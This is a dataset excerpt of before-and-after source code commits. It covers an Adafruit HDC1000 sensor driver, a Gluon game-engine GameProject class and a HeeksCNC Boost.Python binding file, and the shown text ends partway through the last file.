100;\n Serial.println(\"\\thumidity=\",humidity);\n}\n\nfloat Adafruit_HDC1000::GetTemperature(void) {\n \/\/ getter function to access private temp variable\n \n return temp ;\n}\n\nfloat Adafruit_HDC1000::GetHumidity(void) {\n \/\/ getter function to access private humidity variable\n \n return humidity ;\n}\n\n\/\/ Add ability to test battery voltage, useful in remote monitoring, TRUE if <2.8V \n\/\/ usually called after Temp\/Humid reading RMB\n\/\/ Thanks to KFricke for micropython-hdc1008 example on GitHub \nboolean Adafruit_HDC1000::batteryLOW(void) {\n \n uint16_t battLOW = (read16(HDC1000_CONFIG_BATT, 20));\n \n battLOW &= HDC1000_CONFIG_BATT; \/\/ mask off other bits, bit 11 will be 1 if voltage < 2.8V\n \n if (battLOW> 0) return true;\n return false;\n} \n \n\n\n\/*********************************************************************\/\n\nuint16_t Adafruit_HDC1000::read16(uint8_t a, uint8_t d) {\n Wire.beginTransmission(_i2caddr);\n Wire.write(a);\n Wire.endTransmission();\n delay(d);\n Wire.requestFrom((uint8_t)_i2caddr, (uint8_t)2);\n uint16_t r = Wire.read();\n r <<= 8;\n r |= Wire.read();\n \/\/Serial.println(r, HEX);\n return r;\n}\n\nuint32_t Adafruit_HDC1000::read32(uint8_t a, uint8_t d) {\n Wire.beginTransmission(_i2caddr);\n Wire.write(a);\n Wire.endTransmission();\n \/\/ delay was hardcoded as 50, should use d RMB\n delay(d);\n Wire.requestFrom((uint8_t)_i2caddr, (uint8_t)4);\n uint32_t r = Wire.read();\n \/\/ assembles temp into highest 16 bits, humidity into lowest 16 bits\n r <<= 8;\n r |= Wire.read();\n r <<= 8;\n r |= Wire.read();\n r <<= 8;\n r |= Wire.read();\n \/\/Serial.println(r, HEX);\n return r;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n <one line to give the program's name and a brief idea of what it does.>\n Copyright (C) <year> <name of author>\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include \"gameproject.h\"\n#include \"gameprojectprivate.h\"\n#include \"gdlhandler.h\"\n#include \"debughelper.h\"\n\n#include <QtCore\/QStringList>\n#include <QtCore\/QFile>\n#include <QtCore\/QTextStream>\n#include <QMetaClassInfo>\n\nREGISTER_OBJECTTYPE(Gluon,GameProject)\nQ_DECLARE_METATYPE(Gluon::GameObject*);\n\nusing namespace Gluon;\n\nGameProject::GameProject(QObject * parent)\n : GluonObject(parent)\n{\n d = new GameProjectPrivate;\n setGameProject(this);\n \n #warning Q_PROPERTY does not currently handle namespaced types - see bugreports.qt.nokia.com\/browse\/QTBUG-2151\n QVariant somethingEmpty;\n GameObject * theObject = NULL;\n somethingEmpty.setValue<GameObject*>(theObject);\n setProperty(\"entryPoint\", somethingEmpty);\n}\n\nGameProject::GameProject(const GameProject &other, QObject * parent)\n : GluonObject(parent)\n , d(other.d)\n{\n}\n\nGameProject::~GameProject()\n{\n}\n\nGameProject *\nGameProject::instantiate()\n{\n return new GameProject(this);\n}\n\nGluonObject *\nGameProject::findItemByName(QString qualifiedName)\n{\n return d->findItemByNameInObject(qualifiedName.split('.'), this);\n}\n\nbool \nGameProject::saveToFile() const\n{\n QFile *projectFile = new QFile(filename().toLocalFile());\n if(!projectFile->open(QIODevice::WriteOnly))\n return false;\n \n QList<const GluonObject*> thisProject;\n thisProject.append(this);\n \n QTextStream projectWriter(projectFile);\n projectWriter << GDLHandler::instance()->serializeGDL(thisProject);\n projectFile->close();\n \n delete(projectFile);\n return true;\n}\n\nbool \nGameProject::loadFromFile()\n{\n DEBUG_FUNC_NAME\n QFile *projectFile = new QFile(filename().toLocalFile());\n if(!projectFile->open(QIODevice::ReadOnly))\n return false;\n \n QTextStream projectReader(projectFile);\n QString fileContents = projectReader.readAll();\n projectFile->close();\n \n if(fileContents.isEmpty())\n return false;\n \n QList<GluonObject*> objectList = GDLHandler::instance()->parseGDL(fileContents, this->parent());\n if(objectList.count() > 0)\n {\n if(objectList[0]->metaObject())\n {\n \/\/ If the first object in the list is a GluonProject, then let's\n \/\/ adapt ourselves to represent that object...\n if(objectList[0]->metaObject()->className() == this->metaObject()->className())\n {\n DEBUG_TEXT(\"Project successfully parsed - applying to local instance\");\n GameProject* loadedProject = qobject_cast<GameProject*>(objectList[0]);\n \n \/\/ First things first - clean ourselves out, all the children\n \/\/ and the media info list should be gone-ified\n qDeleteAll(this->children());\n \n \/\/ Reassign all the children of the newly loaded project to\n \/\/ ourselves...\n foreach(QObject* child, loadedProject->children())\n {\n GluonObject* theChild = qobject_cast<GluonObject*>(child);\n theChild->setParent(this);\n }\n \n \/\/ Set all the interesting values...\n setName(loadedProject->name());\n \n \/\/ Copy accross all the properties\n const QMetaObject *metaobject = loadedProject->metaObject();\n int count = metaobject->propertyCount();\n for(int i = 0; i < count; ++i)\n {\n QMetaProperty metaproperty = metaobject->property(i);\n const QString theName(metaproperty.name());\n if(theName == \"objectName\" || theName == \"name\")\n continue;\n setProperty(metaproperty.name(), loadedProject->property(metaproperty.name()));\n }\n\n \/\/ Then get all the dynamic ones (in case any such exist)\n QList<QByteArray> propertyNames = loadedProject->dynamicPropertyNames();\n foreach(QByteArray propName, propertyNames)\n setProperty(propName, loadedProject->property(propName));\n\n \/\/ Sanitize me!\n this->sanitize();\n \n \/\/ Finally, get rid of the left-overs\n qDeleteAll(objectList);\n \n DEBUG_TEXT(\"Project loading successful!\");\n }\n \/\/ Otherwise it is not a GluonProject, and should fail!\n else\n {\n DEBUG_TEXT(QString(\"First object loaded is not a Gluon::GameProject.\"));\n DEBUG_TEXT(QString(\"Type of loaded object:\").arg(objectList[0]->metaObject()->className()));\n DEBUG_TEXT(QString(\"Name of loaded object:\").arg(objectList[0]->name()));\n return false;\n }\n }\n else\n return false;\n }\n \n delete(projectFile);\n return true;\n}\n\nbool \nGameProject::loadFromFile(QUrl filename)\n{\n setFilename(filename);\n return loadFromFile();\n}\n\n\/******************************************************************************\n * Property Getter-setters\n *****************************************************************************\/\n\nQString\nGameProject::description() const\n{\n return d->description;\n}\nvoid\nGameProject::setDescription(QString newDescription)\n{\n d->description = newDescription;\n}\n\nQUrl\nGameProject::homepage() const\n{\n return d->homepage;\n}\nvoid\nGameProject::setHomepage(QUrl newHomepage)\n{\n d->homepage = newHomepage;\n}\n\nQList<QUrl>\nGameProject::mediaInfo() const\n{\n return d->mediaInfo;\n}\nvoid\nGameProject::setMediaInfo(QList<QUrl> newMediaInfo)\n{\n d->mediaInfo = newMediaInfo;\n}\n\nQUrl\nGameProject::filename() const\n{\n return d->filename;\n}\nvoid\nGameProject::setFilename(QUrl newFilename)\n{\n d->filename = newFilename;\n}\n\nGameObject *\nGameProject::entryPoint() const\n{\n\/\/ return d->entryPoint;\n return property(\"entryPoint\").value<GameObject*>();\n}\nvoid\nGameProject::setEntryPoint(GameObject * newEntryPoint)\n{\n \/\/d->entryPoint = newEntryPoint;\n QVariant theNewValue;\n theNewValue.setValue<GameObject*>(newEntryPoint);\n setProperty(\"entryPoint\", theNewValue);\n}\n\n#include \"gameproject.moc\"\n<commit_msg>copy the dynamic property value<commit_after>\/*\n <one line to give the program's name and a brief idea of what it does.>\n Copyright (C) <year> <name of author>\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#include \"gameproject.h\"\n#include \"gameprojectprivate.h\"\n#include \"gdlhandler.h\"\n#include \"debughelper.h\"\n\n#include <QtCore\/QStringList>\n#include <QtCore\/QFile>\n#include <QtCore\/QTextStream>\n#include <QMetaClassInfo>\n\nREGISTER_OBJECTTYPE(Gluon,GameProject)\nQ_DECLARE_METATYPE(Gluon::GameObject*);\n\nusing namespace Gluon;\n\nGameProject::GameProject(QObject * parent)\n : GluonObject(parent)\n{\n d = new GameProjectPrivate;\n setGameProject(this);\n \n #warning Q_PROPERTY does not currently handle namespaced types - see bugreports.qt.nokia.com\/browse\/QTBUG-2151\n QVariant somethingEmpty;\n GameObject * theObject = NULL;\n somethingEmpty.setValue<GameObject*>(theObject);\n setProperty(\"entryPoint\", somethingEmpty);\n}\n\nGameProject::GameProject(const GameProject &other, QObject * parent)\n : GluonObject(parent)\n , d(other.d)\n{\n setProperty(\"entryPoint\", other.property(\"entryPoint\"));\n}\n\nGameProject::~GameProject()\n{\n}\n\nGameProject *\nGameProject::instantiate()\n{\n return new GameProject(this);\n}\n\nGluonObject *\nGameProject::findItemByName(QString qualifiedName)\n{\n return d->findItemByNameInObject(qualifiedName.split('.'), this);\n}\n\nbool \nGameProject::saveToFile() const\n{\n QFile *projectFile = new QFile(filename().toLocalFile());\n if(!projectFile->open(QIODevice::WriteOnly))\n return false;\n \n QList<const GluonObject*> thisProject;\n thisProject.append(this);\n \n QTextStream projectWriter(projectFile);\n projectWriter << GDLHandler::instance()->serializeGDL(thisProject);\n projectFile->close();\n \n delete(projectFile);\n return true;\n}\n\nbool \nGameProject::loadFromFile()\n{\n DEBUG_FUNC_NAME\n QFile *projectFile = new QFile(filename().toLocalFile());\n if(!projectFile->open(QIODevice::ReadOnly))\n return false;\n \n QTextStream projectReader(projectFile);\n QString fileContents = projectReader.readAll();\n projectFile->close();\n \n if(fileContents.isEmpty())\n return false;\n \n QList<GluonObject*> objectList = GDLHandler::instance()->parseGDL(fileContents, this->parent());\n if(objectList.count() > 0)\n {\n if(objectList[0]->metaObject())\n {\n \/\/ If the first object in the list is a GluonProject, then let's\n \/\/ adapt ourselves to represent that object...\n if(objectList[0]->metaObject()->className() == this->metaObject()->className())\n {\n DEBUG_TEXT(\"Project successfully parsed - applying to local instance\");\n GameProject* loadedProject = qobject_cast<GameProject*>(objectList[0]);\n \n \/\/ First things first - clean ourselves out, all the children\n \/\/ and the media info list should be gone-ified\n qDeleteAll(this->children());\n \n \/\/ Reassign all the children of the newly loaded project to\n \/\/ ourselves...\n foreach(QObject* child, loadedProject->children())\n {\n GluonObject* theChild = qobject_cast<GluonObject*>(child);\n theChild->setParent(this);\n }\n \n \/\/ Set all the interesting values...\n setName(loadedProject->name());\n \n \/\/ Copy accross all the properties\n const QMetaObject *metaobject = loadedProject->metaObject();\n int count = metaobject->propertyCount();\n for(int i = 0; i < count; ++i)\n {\n QMetaProperty metaproperty = metaobject->property(i);\n const QString theName(metaproperty.name());\n if(theName == \"objectName\" || theName == \"name\")\n continue;\n setProperty(metaproperty.name(), loadedProject->property(metaproperty.name()));\n }\n\n \/\/ Then get all the dynamic ones (in case any such exist)\n QList<QByteArray> propertyNames = loadedProject->dynamicPropertyNames();\n foreach(QByteArray propName, propertyNames)\n setProperty(propName, loadedProject->property(propName));\n\n \/\/ Sanitize me!\n this->sanitize();\n \n \/\/ Finally, get rid of the left-overs\n qDeleteAll(objectList);\n \n DEBUG_TEXT(\"Project loading successful!\");\n }\n \/\/ Otherwise it is not a GluonProject, and should fail!\n else\n {\n DEBUG_TEXT(QString(\"First object loaded is not a Gluon::GameProject.\"));\n DEBUG_TEXT(QString(\"Type of loaded object:\").arg(objectList[0]->metaObject()->className()));\n DEBUG_TEXT(QString(\"Name of loaded object:\").arg(objectList[0]->name()));\n return false;\n }\n }\n else\n return false;\n }\n \n delete(projectFile);\n return true;\n}\n\nbool \nGameProject::loadFromFile(QUrl filename)\n{\n setFilename(filename);\n return loadFromFile();\n}\n\n\/******************************************************************************\n * Property Getter-setters\n *****************************************************************************\/\n\nQString\nGameProject::description() const\n{\n return d->description;\n}\nvoid\nGameProject::setDescription(QString newDescription)\n{\n d->description = newDescription;\n}\n\nQUrl\nGameProject::homepage() const\n{\n return d->homepage;\n}\nvoid\nGameProject::setHomepage(QUrl newHomepage)\n{\n d->homepage = newHomepage;\n}\n\nQList<QUrl>\nGameProject::mediaInfo() const\n{\n return d->mediaInfo;\n}\nvoid\nGameProject::setMediaInfo(QList<QUrl> newMediaInfo)\n{\n d->mediaInfo = newMediaInfo;\n}\n\nQUrl\nGameProject::filename() const\n{\n return d->filename;\n}\nvoid\nGameProject::setFilename(QUrl newFilename)\n{\n d->filename = newFilename;\n}\n\nGameObject *\nGameProject::entryPoint() const\n{\n\/\/ return d->entryPoint;\n return property(\"entryPoint\").value<GameObject*>();\n}\nvoid\nGameProject::setEntryPoint(GameObject * newEntryPoint)\n{\n \/\/d->entryPoint = newEntryPoint;\n QVariant theNewValue;\n theNewValue.setValue<GameObject*>(newEntryPoint);\n setProperty(\"entryPoint\", theNewValue);\n}\n\n#include \"gameproject.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/\/ PythonStuff.cpp\r\n\/\/ Copyright 2011, Dan Heeks\r\n\/\/ This program is released under the BSD license. See the file COPYING for details.\r\n\r\n#include \"PythonStuff.h\"\r\n\r\n#include \"Area.h\"\r\n#include \"Point.h\"\r\n#include \"AreaDxf.h\"\r\n#include \"kurve\/geometry.h\"\r\n\r\n#if _DEBUG\r\n#undef _DEBUG\r\n#include <Python.h>\r\n#define _DEBUG\r\n#else\r\n#include <Python.h>\r\n#endif\r\n\r\n#ifdef __GNUG__\r\n#pragma implementation\r\n#endif\r\n\r\n#include <boost\/progress.hpp>\r\n#include <boost\/timer.hpp>\r\n#include <boost\/foreach.hpp>\r\n#include <boost\/python.hpp>\r\n#include <boost\/python\/module.hpp>\r\n#include <boost\/python\/class.hpp>\r\n#include <boost\/python\/wrapper.hpp>\r\n#include <boost\/python\/call.hpp>\r\n\r\n#include \"clipper.hpp\"\r\nusing namespace clipper;\r\n\r\n\r\nnamespace bp = boost::python;\r\n\r\nboost::python::list getVertices(const CCurve& curve) {\r\n\tboost::python::list vlist;\r\n\tBOOST_FOREACH(const CVertex& vertex, curve.m_vertices) {\r\n\t\tvlist.append(vertex);\r\n }\r\n\treturn vlist;\r\n}\r\n\r\nboost::python::list getCurves(const CArea& area) {\r\n\tboost::python::list clist;\r\n\tBOOST_FOREACH(const CCurve& curve, area.m_curves) {\r\n\t\tclist.append(curve);\r\n }\r\n\treturn clist;\r\n}\r\n\r\nboost::python::tuple transformed_point(const geoff_geometry::Matrix &matrix, double x, double y, double z)\r\n{\r\n\tgeoff_geometry::Point3d p(x,y,z);\r\n\tp = p.Transform(matrix);\r\n\r\n\treturn bp::make_tuple(p.x,p.y,p.z);\r\n}\r\n\r\nstatic void print_curve(const CCurve& c)\r\n{\r\n\tunsigned int nvertices = c.m_vertices.size();\r\n\tprintf(\"number of vertices = %d\\n\", nvertices);\r\n\tint i = 0;\r\n\tfor(std::list<CVertex>::const_iterator It = c.m_vertices.begin(); It != c.m_vertices.end(); It++, i++)\r\n\t{\r\n\t\tconst CVertex& vertex = *It;\r\n\t\tprintf(\"vertex %d type = %d, x = %g, y = %g\", i+1, vertex.m_type, vertex.m_p.x \/ CArea::m_units, vertex.m_p.y \/ CArea::m_units);\r\n\t\tif(vertex.m_type)printf(\", xc = %g, yc = %g\", vertex.m_c.x \/ CArea::m_units, vertex.m_c.y \/ CArea::m_units);\r\n\t\tprintf(\"\\n\");\r\n\t}\r\n}\r\n\r\nstatic void print_area(const CArea &a)\r\n{\r\n\tfor(std::list<CCurve>::const_iterator It = a.m_curves.begin(); It != a.m_curves.end(); It++)\r\n\t{\r\n\t\tconst CCurve& curve = *It;\r\n\t\tprint_curve(curve);\r\n\t}\r\n}\r\n\r\nstatic unsigned int num_vertices(const CCurve& curve)\r\n{\r\n\treturn curve.m_vertices.size();\r\n}\r\n\r\nstatic CVertex FirstVertex(const CCurve& curve)\r\n{\r\n\treturn curve.m_vertices.front();\r\n}\r\n\r\nstatic CVertex LastVertex(const CCurve& curve)\r\n{\r\n\treturn curve.m_vertices.back();\r\n}\r\n\r\nstatic void set_units(double units)\r\n{\r\n\tCArea::m_units = units;\r\n}\r\n\r\nstatic double get_units()\r\n{\r\n\treturn CArea::m_units;\r\n}\r\n\r\nstatic bool holes_linked()\r\n{\r\n\treturn CArea::HolesLinked();\r\n}\r\n\r\nstatic CArea AreaFromDxf(const char* filepath)\r\n{\r\n\tCArea area;\r\n\tAreaDxfRead dxf(&area, filepath);\r\n\tdxf.DoRead();\r\n\treturn area;\r\n}\r\n\r\nstatic void append_point(CCurve& c, const Point& p)\r\n{\r\n\tc.m_vertices.push_back(CVertex(p));\r\n}\r\n\r\nstatic boost::python::tuple nearest_point_to_curve(CCurve& c1, const CCurve& c2)\r\n{\r\n\tdouble dist;\r\n\tPoint p = c1.NearestPoint(c2, &dist);\r\n\r\n\treturn bp::make_tuple(p, dist);\r\n}\r\n\r\nboost::python::list MakePocketToolpath(const CArea& a, double tool_radius, double extra_offset, double stepover, bool from_center, bool use_zig_zag, double zig_angle)\r\n{\r\n\tstd::list<CCurve> toolpath;\r\n\r\n\tCAreaPocketParams params(tool_radius, extra_offset, stepover, from_center, use_zig_zag ? ZigZagPocketMode : SpiralPocketMode, zig_angle);\r\n\ta.SplitAndMakePocketToolpath(toolpath, params);\r\n\r\n\tboost::python::list clist;\r\n\tBOOST_FOREACH(const CCurve& c, toolpath) {\r\n\t\tclist.append(c);\r\n }\r\n\treturn clist;\r\n}\r\n\r\nboost::python::list SplitArea(const CArea& a)\r\n{\r\n\tstd::list<CArea> areas;\r\n\ta.Split(areas);\r\n\r\n\tboost::python::list alist;\r\n\tBOOST_FOREACH(const CArea& a, areas) {\r\n\t\talist.append(a);\r\n }\r\n\treturn alist;\r\n}\r\n\r\nvoid dxfArea(CArea& area, const char* str)\r\n{\r\n\tarea = CArea();\r\n}\r\n\r\nboost::python::list getCurveSpans(const CCurve& c)\r\n{\r\n\tboost::python::list span_list;\r\n\tconst Point *prev_p = NULL;\r\n\r\n\tfor(std::list<CVertex>::const_iterator VIt = c.m_vertices.begin(); VIt != c.m_vertices.end(); VIt++)\r\n\t{\r\n\t\tconst CVertex& vertex = *VIt;\r\n\r\n\t\tif(prev_p)\r\n\t\t{\r\n\t\t\tspan_list.append(Span(*prev_p, vertex));\r\n\t\t}\r\n\t\tprev_p = &(vertex.m_p);\r\n\t}\r\n\r\n\treturn span_list;\r\n}\r\n\r\nSpan getFirstCurveSpan(const CCurve& c)\r\n{\r\n\tif(c.m_vertices.size() < 2)return Span();\r\n\r\n\tstd::list<CVertex>::const_iterator VIt = c.m_vertices.begin();\r\n\tconst Point &p = (*VIt).m_p;\r\n\tVIt++;\r\n\treturn Span(p, *VIt, true);\r\n}\r\n\r\nSpan getLastCurveSpan(const CCurve& c)\r\n{\r\n\tif(c.m_vertices.size() < 2)return Span();\r\n\r\n\tstd::list<CVertex>::const_reverse_iterator VIt = c.m_vertices.rbegin();\r\n\tconst CVertex &v = (*VIt);\r\n\tVIt++;\r\n\r\n\treturn Span((*VIt).m_p, v, c.m_vertices.size() == 2);\r\n}\r\n\r\nbp::tuple TangentialArc(const Point &p0, const Point &p1, const Point &v0)\r\n{\r\n Point c;\r\n int dir;\r\n tangential_arc(p0, p1, v0, c, dir);\r\n\r\n return bp::make_tuple(c, dir);\r\n}\r\n\r\nboost::python::list spanIntersect(const Span& span1, const Span& span2) {\r\n\tboost::python::list plist;\r\n\tstd::list<Point> pts;\r\n\tspan1.Intersect(span2, pts);\r\n\tBOOST_FOREACH(const Point& p, pts) {\r\n\t\tplist.append(p);\r\n }\r\n\treturn plist;\r\n}\r\n\r\n\/\/Matrix(boost::python::list &l){}\r\n\r\nboost::shared_ptr<geoff_geometry::Matrix> matrix_constructor(const boost::python::list& lst) {\r\n\tdouble m[16] = {1,0,0,0,0,1,0,0, 0,0,1,0, 0,0,0,1};\r\n\r\n boost::python::ssize_t n = boost::python::len(lst);\r\n int j = 0;\r\n for(boost::python::ssize_t i=0;i<n;i++) {\r\n boost::python::object elem = lst[i];\r\n\tm[j] = boost::python::extract<double>(elem.attr(\"__float__\")());\r\n\tj++;\r\n\tif(j>=16)break;\r\n }\r\n\r\n return boost::shared_ptr<geoff_geometry::Matrix>( new geoff_geometry::Matrix(m) );\r\n}\r\n\r\nboost::python::list InsideCurves(const CArea& a, const CCurve& curve) {\r\n\tboost::python::list plist;\r\n\r\n\tstd::list<CCurve> curves_inside;\r\n\ta.InsideCurves(curve, curves_inside);\r\n\tBOOST_FOREACH(const CCurve& c, curves_inside) {\r\n\t\tplist.append(c);\r\n }\r\n\treturn plist;\r\n}\r\n\r\nBOOST_PYTHON_MODULE(area) {\r\n\tbp::class_<Point>(\"Point\") \r\n .def(bp::init<double, double>())\r\n .def(bp::init<Point>())\r\n .def(bp::other<double>() * bp::self)\r\n .def(bp::self * bp::other<double>())\r\n .def(bp::self \/ bp::other<double>())\r\n .def(bp::self * bp::other<Point>())\r\n .def(bp::self - bp::other<Point>())\r\n .def(bp::self + bp::other<Point>())\r\n .def(bp::self ^ bp::other<Point>())\r\n .def(bp::self == bp::other<Point>())\r\n .def(bp::self != bp::other<Point>())\r\n .def(-bp::self)\r\n .def(~bp::self)\r\n .def(\"dist\", &Point::dist)\r\n .def(\"length\", &Point::length)\r\n .def(\"normalize\", &Point::normalize)\r\n\t\t.def(\"Rotate\", static_cast< void (Point::*)(double, double) >(&Point::Rotate))\r\n\t\t.def(\"Rotate\", static_cast< void (Point::*)(double) >(&Point::Rotate))\r\n .def_readwrite(\"x\", &Point::x)\r\n .def_readwrite(\"y\", &Point::y)\r\n\t\t.def(\"Transform\", &Point::Transform)\r\n ;\r\n\r\n\tbp::class_<CVertex>(\"Vertex\") \r\n .def(bp::init<CVertex>())\r\n .def(bp::init<int, Point, Point>())\r\n .def(bp::init<Point>())\r\n .def(bp::init<int, Point, Point, int>())\r\n .def_readwrite(\"type\", &CVertex::m_type)\r\n .def_readwrite(\"p\", &CVertex::m_p)\r\n .def_readwrite(\"c\", &CVertex::m_c)\r\n .def_readwrite(\"user_data\", &CVertex::m_user_data)\r\n ;\r\n\r\n\tbp::class_<Span>(\"Span\") \r\n .def(bp::init<Span>())\r\n .def(bp::init<Point, CVertex, bool>())\r\n\t\t.def(\"NearestPoint\", static_cast< Point (Span::*)(const Point& p)const >(&Span::NearestPoint))\r\n\t\t.def(\"NearestPoint\", static_cast< Point (Span::*)(const Span& p, double *d)const >(&Span::NearestPoint))\r\n\t\t.def(\"GetBox\", &Span::GetBox)\r\n\t\t.def(\"IncludedAngle\", &Span::IncludedAngle)\r\n\t\t.def(\"GetArea\", &Span::GetArea)\r\n\t\t.def(\"On\", &Span::On)\r\n\t\t.def(\"MidPerim\", &Span::MidPerim)\r\n\t\t.def(\"MidParam\", &Span::MidParam)\r\n\t\t.def(\"Length\", &Span::Length)\r\n\t\t.def(\"GetVector\", &Span::GetVector)\r\n\t\t.def(\"Intersect\", &spanIntersect)\r\n .def_readwrite(\"p\", &Span::m_p)\r\n\t\t.def_readwrite(\"v\", &Span::m_v)\r\n ;\r\n\r\n\tbp::class_<CCurve>(\"Curve\") \r\n .def(bp::init<CCurve>())\r\n .def(\"getVertices\", &getVertices)\r\n .def(\"append\",&CCurve::append)\r\n .def(\"append\",&append_point)\r\n .def(\"text\", &print_curve)\r\n\t\t.def(\"NearestPoint\", static_cast< Point (CCurve::*)(const Point& p)const >(&CCurve::NearestPoint))\r\n\t\t.def(\"NearestPoint\", &nearest_point_to_curve)\r\n\t\t.def(\"Reverse\", &CCurve::Reverse)\r\n\t\t.def(\"getNumVertices\", &num_vertices)\r\n\t\t.def(\"FirstVertex\", &FirstVertex)\r\n\t\t.def(\"LastVertex\", &LastVertex)\r\n\t\t.def(\"GetArea\", &CCurve::GetArea)\r\n\t\t.def(\"IsClockwise\", &CCurve::IsClockwise)\r\n\t\t.def(\"IsClosed\", &CCurve::IsClosed)\r\n .def(\"ChangeStart\",&CCurve::ChangeStart)\r\n .def(\"ChangeEnd\",&CCurve::ChangeEnd)\r\n .def(\"Offset\",&CCurve::Offset)\r\n .def(\"OffsetForward\",&CCurve::OffsetForward)\r\n .def(\"GetSpans\",&getCurveSpans)\r\n .def(\"GetFirstSpan\",&getFirstCurveSpan)\r\n .def(\"GetLastSpan\",&getLastCurveSpan)\r\n .def(\"Break\",&CCurve::Break)\r\n .def(\"Perim\",&CCurve::Perim)\r\n .def(\"PerimToPoint\",&CCurve::PerimToPoint)\r\n .def(\"PointToPerim\",&CCurve::PointToPerim)\r\n\t\t.def(\"FitArcs\",&CCurve::FitArcs)\r\n .def(\"UnFitArcs\",&CCurve::UnFitArcs)\r\n ;\r\n\r\n\tbp::class_<CBox2D>(\"Box\") \r\n .def(bp::init<CBox2D>())\r\n\t\t.def(\"MinX\", &CBox2D::MinX)\r\n\t\t.def(\"MaxX\", &CBox2D::MaxX)\r\n\t\t.def(\"MinY\", &CBox2D::MinY)\r\n\t\t.def(\"MaxY\", &CBox2D::MaxY)\r\n ;\r\n\r\n\tbp::class_<CArea>(\"Area\") \r\n .def(bp::init<CArea>())\r\n .def(\"getCurves\", &getCurves)\r\n .def(\"append\",&CArea::append)\r\n .def(\"Subtract\",&CArea::Subtract)\r\n .def(\"Intersect\",&CArea::Intersect)\r\n .def(\"Union\",&CArea::Union)\r\n .def(\"Offset\",&CArea::Offset)\r\n .def(\"FitArcs\",&CArea::FitArcs)\r\n .def(\"text\", &print_area)\r\n\t\t.def(\"num_curves\", &CArea::num_curves)\r\n\t\t.def(\"NearestPoint\", &CArea::NearestPoint)\r\n\t\t.def(\"GetBox\", &CArea::GetBox)\r\n\t\t.def(\"Reorder\", &CArea::Reorder)\r\n\t\t.def(\"MakePocketToolpath\", &MakePocketToolpath)\r\n\t\t.def(\"Split\", &SplitArea)\r\n\t\t.def(\"InsideCurves\", &InsideCurves)\r\n ;\r\n\r\n\tbp::class_<geoff_geometry::Matrix, boost::shared_ptr<geoff_geometry::Matrix> > (\"Matrix\")\r\n .def(bp::init<geoff_geometry::Matrix>())\r\n\t .def(\"__init__\", bp::make_constructor(&matrix_constructor))\r\n\t .def(\"TransformedPoint\", &transformed_point)\r\n\t\t.def(\"Multiply\", &geoff_geometry::Matrix::Multiply)\r\n\t;\r\n\r\n bp::def(\"set_units\", set_units);\r\n bp::def(\"get_units\", get_units);\r\n bp::def(\"holes_linked\", holes_linked);\r\n bp::def(\"AreaFromDxf\", AreaFromDxf);\r\n bp::def(\"TangentialArc\", TangentialArc);\r\n}\r\n<commit_msg>I exported the CArea::Thicken function to Python<commit_after>\/\/ PythonStuff.cpp\r\n\/\/ Copyright 2011, Dan Heeks\r\n\/\/ This program is released under the BSD license. See the file COPYING for details.\r\n\r\n#include \"PythonStuff.h\"\r\n\r\n#include \"Area.h\"\r\n#include \"Point.h\"\r\n#include \"AreaDxf.h\"\r\n#include \"kurve\/geometry.h\"\r\n\r\n#if _DEBUG\r\n#undef _DEBUG\r\n#include <Python.h>\r\n#define _DEBUG\r\n#else\r\n#include <Python.h>\r\n#endif\r\n\r\n#ifdef __GNUG__\r\n#pragma implementation\r\n#endif\r\n\r\n#include <boost\/progress.hpp>\r\n#include <boost\/timer.hpp>\r\n#include <boost\/foreach.hpp>\r\n#include <boost\/python.hpp>\r\n#include <boost\/python\/module.hpp>\r\n#include <boost\/python\/class.hpp>\r\n#include <boost\/python\/wrapper.hpp>\r\n#include <boost\/python\/call.hpp>\r\n\r\n#include \"clipper.hpp\"\r\nusing namespace clipper;\r\n\r\n\r\nnamespace bp = boost::python;\r\n\r\nboost::python::list getVertices(const CCurve& curve) {\r\n\tboost::python::list vlist;\r\n\tBOOST_FOREACH(const CVertex& vertex, curve.m_vertices) {\r\n\t\tvlist.append(vertex);\r\n }\r\n\treturn vlist;\r\n}\r\n\r\nboost::python::list getCurves(const CArea& area) {\r\n\tboost::python::list clist;\r\n\tBOOST_FOREACH(const CCurve& curve, area.m_curves) {\r\n\t\tclist.append(curve);\r\n }\r\n\treturn clist;\r\n}\r\n\r\nboost::python::tuple transformed_point(const geoff_geometry::Matrix &matrix, double x, double y, double z)\r\n{\r\n\tgeoff_geometry::Point3d p(x,y,z);\r\n\tp = p.Transform(matrix);\r\n\r\n\treturn bp::make_tuple(p.x,p.y,p.z);\r\n}\r\n\r\nstatic void print_curve(const CCurve& c)\r\n{\r\n\tunsigned int nvertices = c.m_vertices.size();\r\n\tprintf(\"number of vertices = %d\\n\", nvertices);\r\n\tint i = 0;\r\n\tfor(std::list<CVertex>::const_iterator It = c.m_vertices.begin(); It != c.m_vertices.end(); It++, i++)\r\n\t{\r\n\t\tconst CVertex& vertex = *It;\r\n\t\tprintf(\"vertex %d type = %d, x = %g, y = %g\", i+1, vertex.m_type, vertex.m_p.x \/ CArea::m_units, vertex.m_p.y \/ CArea::m_units);\r\n\t\tif(vertex.m_type)printf(\", xc = %g, yc = %g\", vertex.m_c.x \/ CArea::m_units, vertex.m_c.y \/ CArea::m_units);\r\n\t\tprintf(\"\\n\");\r\n\t}\r\n}\r\n\r\nstatic void print_area(const CArea &a)\r\n{\r\n\tfor(std::list<CCurve>::const_iterator It = a.m_curves.begin(); It != a.m_curves.end(); It++)\r\n\t{\r\n\t\tconst CCurve& curve = *It;\r\n\t\tprint_curve(curve);\r\n\t}\r\n}\r\n\r\nstatic unsigned int num_vertices(const CCurve& curve)\r\n{\r\n\treturn curve.m_vertices.size();\r\n}\r\n\r\nstatic CVertex 